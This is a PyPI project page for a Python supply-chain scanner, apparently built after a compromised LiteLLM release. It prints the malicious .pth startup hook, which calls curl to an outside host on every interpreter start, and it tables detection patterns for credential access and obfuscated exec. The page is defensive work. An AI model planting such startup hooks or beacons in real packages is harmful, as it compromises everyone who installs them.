Skip to main content

Security scanner for Python packages โ€” detects supply chain attacks before they execute

Project description

๐Ÿ›ก๏ธ chaincanary

Stop malicious Python packages before they execute.

CI PyPI version Python 3.9+ License: Apache 2.0


What happened

On March 24, 2026, LiteLLM 1.82.7 was published to PyPI with a hidden .pth file:

# litellm_init.pth โ€” executes on every Python startup
import subprocess, sys
subprocess.Popen(
    ['curl', '-s', 'https://models.litellm.cloud/beacon', '-d', sys.version],
    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)

This file runs every time you start Python โ€” not just during pip install. It was downloaded ~95 million times per month. The package was flagged and removed, but not before significant exposure.

chaincanary was built to catch this.


Quick demo

pip install chaincanary

# Scan LiteLLM 1.82.7 (the compromised version)
chaincanary check litellm 1.82.7
๐Ÿ” chaincanary โ€” Analyzing litellm==1.82.7

โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ Severity   โ”‚ Rule                         โ”‚ Title                                โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ CRITICAL   โ”‚ PTH_FILE_INSTALL             โ”‚ .pth file installs dangerous code... โ”‚
โ”‚ CRITICAL   โ”‚ PTH_NETWORK_BEACON           โ”‚ phone-home on every Python startup   โ”‚
โ”‚ CRITICAL   โ”‚ PTH_SUBPROCESS               โ”‚ subprocess on every Python startup   โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

  Score: 10.0 / 10.0
  Verdict: โ–ˆโ–ˆ MALICIOUS

  Rollback: pip install litellm==1.82.6

Install

pip install chaincanary

Requires Python 3.9+. No Docker. No root. Works on Linux, macOS, Windows.


Usage

Scan a single package

chaincanary check requests 2.28.0
chaincanary check litellm latest

Audit your entire project

chaincanary audit requirements.txt
chaincanary audit pyproject.toml

Output:

๐Ÿ” chaincanary audit โ€” requirements.txt (42 packages)

Scanning packages... โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 100%

โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ Package          โ”‚ Version โ”‚ Score โ”‚ Verdict  โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ litellm          โ”‚ 1.82.7  โ”‚ 10.0  โ”‚ MALICIOUSโ”‚
โ”‚ suspicious-lib   โ”‚ 0.3.1   โ”‚  7.5  โ”‚ HIGH_RISKโ”‚
โ”‚ requests         โ”‚ 2.28.0  โ”‚  0.0  โ”‚ SAFE     โ”‚
โ”‚ ...              โ”‚ ...     โ”‚  0.0  โ”‚ SAFE     โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

โœ— 2 package(s) failed the audit.

Compare two versions

chaincanary diff litellm 1.82.6 1.82.7
Version diff: litellm 1.82.6 โ†’ 1.82.7

  Added files:  litellm_init.pth   โ† NEW .pth file
  Removed:      (none)
  [CRITICAL] New .pth file with network beacon

Safe install

# Scans before installing, blocks if malicious
chaincanary install litellm==1.82.7

Recommended workflow

Use chaincanary install for individual packages and chaincanary audit in CI. Aliasing pip to chaincanary is not recommended โ€” it changes timing expectations (chaincanary downloads + scans before installing) and may break flags like -e . or -r.

# Individual package โ€” scan then install
chaincanary install requests==2.32.0

# CI โ€” scan all dependencies before deployment
chaincanary audit requirements.txt --fail-on HIGH_RISK

JSON output (for pipelines)

chaincanary check litellm 1.82.7 --json-output | jq '.verdict'
# "MALICIOUS"

chaincanary audit requirements.txt --json-output \
  | jq '.results[] | select(.verdict != "SAFE")'

GitHub Action

Add to any repo to block malicious packages on every push:

# .github/workflows/security.yml
name: Supply Chain Security

on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Scan dependencies for supply chain attacks
        uses: allenenli/chaincanary@v0.1.0
        with:
          requirements: requirements.txt
          fail-on: MALICIOUS   # or HIGH_RISK for stricter mode

That's it. The action will fail your build if any package matches a known attack pattern.


What chaincanary detects

.pth attack (LiteLLM 1.82.7 pattern)

.pth files in Python site-packages execute on every interpreter startup โ€” not just during install. This makes them ideal for persistent backdoors.

chaincanary understands the difference:

.pth content Classification Finding
Empty Normal โœ“ silent
/usr/local/lib/... Path-only โœ“ silent
setuptools distutils shim Safe code โš  LOW
subprocess.Popen(['curl', ...]) Dangerous ๐Ÿ”ด CRITICAL

Other attack vectors

What Where Severity
Network call during pip install setup.py HIGH
Shell command during pip install setup.py HIGH
exec(base64.decode(...)) obfuscation anywhere HIGH
Network call on every import __init__.py MEDIUM
SSH / AWS credentials access anywhere HIGH
Path traversal in wheel zip .whl structure CRITICAL
Known malicious SHA256 hash .whl file CRITICAL

What chaincanary does NOT do

  • Does not install packages
  • Does not execute any package code
  • Does not require Docker or privileged access
  • Does not send package contents to any server
  • Does not replace pip โ€” it scans before you decide to install

How it works

pip install request      โ† your intent
      โ†“
chaincanary                 โ† intercepts
      โ†“
Download wheel (no install, no execute)
      โ†“
Static analysis:
  - Zip safety (path traversal, zip bomb)
  - .pth file semantic classifier
  - AST analysis of setup.py / install hooks
  - Obfuscation detection
  - __init__.py delayed-trigger scan
  - SHA256 hash database
      โ†“
Score 0โ€“10 โ†’ Verdict: SAFE / LOW_RISK / HIGH_RISK / MALICIOUS
      โ†“
Block or proceed

No sandboxing, no Docker, no kernel modules. Pure Python static analysis that runs in seconds.


Comparison

Tool Detection scope Behavioral .pth analysis No Docker Lockfile audit Speed
chaincanary Supply chain behavior โœ… semantic + content โœ… โœ… ~2s/pkg
pip-audit Known CVEs + dep confusion โŒ โœ… โœ… fast
Safety Known CVEs (advisory DB) โŒ โœ… โœ… fast
Trivy SBOM + CVEs (image/repo) โŒ โœ… โœ… slow
Bandit SAST (your source code) โŒ โœ… โŒ fast
socket.dev Publish-time behavior diff partial โœ… โœ… fast

chaincanary is not a CVE scanner โ€” it doesn't check advisory databases. It's a behavioral scanner: it looks at what a package does, not whether it appears in a known-bad list. Use it alongside pip-audit/Safety for full coverage.


Known Limitations

chaincanary is a static behavioral scanner, not a magic bullet. Know its blind spots:

Gap What it means Workaround
No C extension analysis Malicious .so/.pyd files aren't scanned Sandbox (v0.3)
No CVE database Won't catch known vulnerabilities Use alongside pip-audit
No dynamic sandbox Side-effects on import not executed Static signals only (for now)
Multi-stage payloads Pkg that downloads payload at runtime looks clean Network monitoring (v0.3)
Private registries Can't download from non-public PyPI mirrors --offline flag (v0.2)

โ†’ Full limitation table: ROADMAP.md#known-limitations


Roadmap

Version Theme ETA
post-0.1 Scoring fixes, DNS exfil, typosquatting, git deps โœ… done
v0.2 Hash feed, SARIF output, --timeout, pre-commit hook soon
v0.3 Lightweight sandbox, package reputation, npm/cargo later

โ†’ Full plan: ROADMAP.md


Contributing

git clone https://github.com/allenenli/chaincanary
cd chaincanary
pip install -e ".[dev]"
pytest tests/

PRs welcome โ€” especially:

  • New malicious hash signatures
  • Detection rules for new attack patterns
  • False positive reports (real packages that chaincanary misflags)

License

Apache 2.0. See LICENSE.


Built after the LiteLLM supply chain attack, March 2026.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

chaincanary-0.1.2.tar.gz (41.2 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

chaincanary-0.1.2-py3-none-any.whl (39.5 kB view details)

Uploaded Python 3

File details

Details for the file chaincanary-0.1.2.tar.gz.

File metadata

  • Download URL: chaincanary-0.1.2.tar.gz
  • Upload date:
  • Size: 41.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for chaincanary-0.1.2.tar.gz
Algorithm Hash digest
SHA256 0ea599ebfcaf2f7bad8acc239de111a04080ea2cd66e44f61aa545e1b99d14b9
MD5 03348faa8fc74965ff7d0c41682ef95e
BLAKE2b-256 2cffba802312dfb4da8048c615a4f36a784929bb08b03d9b15b5b4451ad092e8

See more details on using hashes here.

Provenance

The following attestation bundles were made for chaincanary-0.1.2.tar.gz:

Publisher: release.yml on AetherCore-Dev/chaincanary

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file chaincanary-0.1.2-py3-none-any.whl.

File metadata

  • Download URL: chaincanary-0.1.2-py3-none-any.whl
  • Upload date:
  • Size: 39.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for chaincanary-0.1.2-py3-none-any.whl
Algorithm Hash digest
SHA256 3fbca4e32e01d9fc0b39a981ccc074a6ed321755c3ceb1d0d8ded6f1d160684d
MD5 34b7ddd7ebc02653104dc6b3632b8817
BLAKE2b-256 e69a3e56cf60558d597749e0e2f9932d1c4fe7a8cd23601848b5f14ce81cd6a2

See more details on using hashes here.

Provenance

The following attestation bundles were made for chaincanary-0.1.2-py3-none-any.whl:

Publisher: release.yml on AetherCore-Dev/chaincanary

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page